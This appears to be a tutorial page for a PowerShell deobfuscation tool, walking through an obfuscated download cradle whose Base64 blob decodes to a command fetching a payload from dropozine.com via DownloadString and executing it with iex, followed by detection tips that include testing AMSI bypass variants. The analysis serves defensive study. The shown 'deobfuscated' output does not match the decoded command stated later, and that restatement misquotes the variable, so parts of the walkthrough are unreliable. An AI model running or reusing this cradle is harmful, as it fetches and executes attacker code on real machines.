PowerShell

PowerShell Download Cradle

Level: Easy Techniques: Base64, IEX, DownloadString Download sample

1 The obfuscated script

This is a classic PowerShell download cradle. It stores a Base64-encoded blob in a variable, decodes it, and passes the result to Invoke-Expression (IEX).

$g = "JAB3ACAAPQAgACcAaAB0AHQAcABzADoALwAvAGQAcgBvAHAAbwB6AGkAbgBlAC4AYwBvAG0ALwBwAGEAeQBsAG8AYQBkAC4AdAB4AHQAJwA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBjAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJAB3ACkA"
$d = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($g))
iex $d
      

2 Run the deobfuscator

Run the AI Deobfuscator against the sample. No API key needed — the static engine handles this automatically.

deobfuscator -f samples/download-cradle.ps1

The output shows:

✓ Base64 decoded a 248-char block

Deobfuscated:
$g = iex (New-Object Net.Webclient).DownloadString($g)
$d = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($g))
iex $d

3 What happened?

The Base64 blob decodes to a second-stage PowerShell command:

$w = 'https://dropozine.com/payload.txt'; (New-Object Net.Webclient).DownloadString('$w')

The full execution chain:

Line 1: Variable $g holds a Base64-encoded string
Line 2: Decode from Base64 using UTF-16LE (PowerShell's native string encoding)
Line 3: iex evaluates the decoded string, which calls DownloadString to fetch a remote payload

4 Detection guidance

What to look for in logs and network traffic:

Process: powershell.exe -e <base64> or powershell.exe -EncodedCommand <base64>
Network: Outbound HTTP/HTTPS to unusual domains from powershell.exe
Parent process: Office apps (Word, Excel) spawning PowerShell is a major red flag
AMSI: Modern Windows Defender detects this pattern — test with AMSI Bypass variants

Verdict: Malicious — Download Cradle

This script fetches and executes arbitrary code from a remote server. Commonly delivered via phishing email attachments or malicious links.